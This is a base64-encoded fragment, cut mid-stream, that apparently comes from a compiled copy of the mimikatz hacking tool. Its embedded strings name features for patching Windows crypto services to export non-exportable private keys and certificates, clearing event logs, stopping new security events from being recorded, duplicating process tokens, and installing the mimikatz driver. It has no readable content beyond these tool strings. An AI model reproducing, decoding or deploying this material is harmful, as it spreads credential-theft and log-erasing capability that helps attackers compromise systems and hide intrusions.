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gBvAHQAbwB0AHkAcABlACkAAAAAAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgBfAFgAUAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABTAG0AYQByAHQAIABDAGEAcgBkACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8AUwBDAEEAUgBEAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARABIACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAEQARQBGAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBFAE4ASABfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBEAEUARgBfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAFAAUgBPAFYAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUgBTAEEAIABTAEMAaABhAG4AbgBlAGwAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBpAGcAbgBhAHQAdQByAGUAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBJAEcAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFMAdAByAG8AbgBnACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAE0AUwBfAFMAVABSAE8ATgBHAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAdgAxAC4AMAAAAAAATQBTAF8ARQBOAEgAQQBOAEMARQBEAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFMARQBSAFYASQBDAEUAUwAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AVQBTAEUAUgBTAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AUwBFAFIAVgBJAEMARQAAAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXwBFAE4AVABFAFIAUABSAEkAUwBFAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgBfAEcAUgBPAFUAUABfAFAATwBMAEkAQwBZAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwBOAEcAIABzAGUAcgB2AGkAYwBlACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAAAAAABjAG4AZwAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMAcgB5AHAAdABvAEEAUABJACAAbABhAHkAZQByACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAAAAAABjAGEAcABpAAAAAAAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGsAZQB5AHMAIABjAG8AbgB0AGEAaQBuAGUAcgBzAAAAAAAAAAAAawBlAHkAcwAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAAAABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcwB0AG8AcgBlAHMAAAAAAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcAByAG8AdgBpAGQAZQByAHMAAAAAAAAAAABwAHIAbwB2AGkAZABlAHIAcwAAAAAAAABDAHIAeQBwAHQAbwAgAE0AbwBkAHUAbABlAAAAAAAAAGMAcgB5AHAAdABvAAAAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAAAAAAG4AYwByAHkAcAB0AAAAAABOQ3J5cHRPcGVuU3RvcmFnZVByb3ZpZGVyAAAAAAAAAE5DcnlwdEVudW1LZXlzAABOQ3J5cHRPcGVuS2V5AAAATkNyeXB0RXhwb3J0S2V5AE5DcnlwdEdldFByb3BlcnR5AAAAAAAAAE5DcnlwdEZyZWVCdWZmZXIAAAAAAAAAAE5DcnlwdEZyZWVPYmplY3QAAAAAAAAAAEJDcnlwdEVudW1SZWdpc3RlcmVkUHJvdmlkZXJzAAAAQkNyeXB0RnJlZUJ1ZmZlcgAAAAAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHMAeQBzAHQAZQBtAHMAdABvAHIAZQAAAEEAcwBrAGkAbgBnACAAZgBvAHIAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAHQAbwByAGUAcwAgADsAIABDAGUAcgB0AEUAbgB1AG0AUwB5AHMAdABlAG0AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE0AeQAAAAAAAAAAAHMAdABvAHIAZQAAAAAAAAAAAAAAAAAAACAAKgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAIAA6ACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKACAAKgAgAFMAdABvAHIAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJwAlAHMAJwAKAAoAAAAAACgAbgB1AGwAbAApAAAAAAAAAAAAAAAAAAkASwBlAHkAIABDAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAKAAkAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAawBlAHkAUwBwAGUAYwAgAD0APQAgAEMARQBSAFQAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8AUwBQAEUAQwAgAHcAaQB0AGgAbwB1AHQAIABDAE4ARwAgAEgAYQBuAGQAbABlACAAPwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AEMAZQByAHQAaQBmAGkAYwBhAHQAZQBDAG8AbgB0AGUAeAB0AFAAcgBvAHAAZQByAHQAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AE8AcABlAG4AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAAAAAABwAHIAbwB2AGkAZABlAHIAdAB5AHAAZQAAAAAAAAAAAG0AYQBjAGgAaQBuAGUAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAAAAAAAAAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABQAHIAbwB2AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAACgBDAE4ARwAgAGsAZQB5AHMAIAA6AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAEsAZQB5ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQARQBuAHUAbQBLAGUAeQBzACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAAAAAAAEwAZQBuAGcAdABoAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABwAHYAawAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAATwBLAAAAAABLAE8AAAAAAAkAUAByAGkAdgBhAHQAZQAgAGUAeABwAG8AcgB0ACAAOgAgACUAcwAgAC0AIAAAACcAJQBzACcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGcAZQBuAGUAcgBhAHQAZQBGAGkAbABlAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAZABlAHIAAAAJAFAAdQBiAGwAaQBjACAAZQB4AHAAbwByAHQAIAAgADoAIAAlAHMAIAAtACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAHAAZgB4AAAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAcwBfACUAcwBfACUAdQBfACUAcwAuACUAcwAAAAAAQQBUAF8ASwBFAFkARQBYAEMASABBAE4ARwBFAAAAAABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAAAAAAAAAAAEMATgBHACAASwBlAHkAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcABfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAAAAbgBjAHIAeQBwAHQAcAByAG8AdgAuAGQAbABsAAAAAABLAGUAeQBJAHMAbwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAG4AZwAgADsAIABOAG8AIABDAE4ARwAKAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGMAbABlAGEAcgAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAZAByAG8AcAAAAAAAAAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAAAAAAAAZQB2AGUAbgB0AAAAAAAAAGwAbwBnAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAAAAAABVAHMAaQBuAGcAIAAiACUAcwAiACAAZQB2AGUAbgB0ACAAbABvAGcAIAA6AAoAAAAtACAAJQB1ACAAZQB2AGUAbgB0ACgAcwApAAoAAAAAAC0AIABDAGwAZQBhAHIAZQBkACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAAQwBsAGUAYQByAEUAdgBlAG4AdABMAG8AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAE8AcABlAG4ARQB2AGUAbgB0AEwAbwBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAATABpAHMAdAAgAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAAAAAAAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAZgBpAGwAdABlAHIAcwAAAFIAZQBtAG8AdgBlACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawAAAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAUgBlAG0AbwB2AGUAAAAAAAAAUgBlAG0AbwB2AGUAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAAAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAFIAZQBtAG8AdgBlAAAAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAAAAAAAAbgBvAHQAaQBmAE8AYgBqAGUAYwB0AAAATABpAHMAdAAgAHIAZQBnAGkAcwB0AHIAeQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBSAGUAZwAAAAAAAAAAAEwAaQBzAHQAIABpAG0AYQBnAGUAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAHQAaAByAGUAYQBkACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAAAAAG4AbwB0AGkAZgBUAGgAcgBlAGEAZAAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAAAAAAAEwAaQBzAHQAIABTAFMARABUAAAAAAAAAHMAcwBkAHQAAAAAAAAAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAAAAAAG0AbwBkAHUAbABlAHMAAABTAGUAdAAgAGEAbABsACAAcAByAGkAdgBpAGwAZQBnAGUAIABvAG4AIABwAHIAbwBjAGUAcwBzAAAAAAAAAAAAcAByAG8AYwBlAHMAcwBQAHIAaQB2AGkAbABlAGcAZQAAAAAAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAVABvAGsAZQBuAAAAAAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAEIAUwBPAEQAIAAhAAAAAABiAHMAbwBkAAAAAAAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABwAGkAbgBnAAAAAAAAAAAAUgBlAG0AbwB2AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAAAAAAAAAAAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2A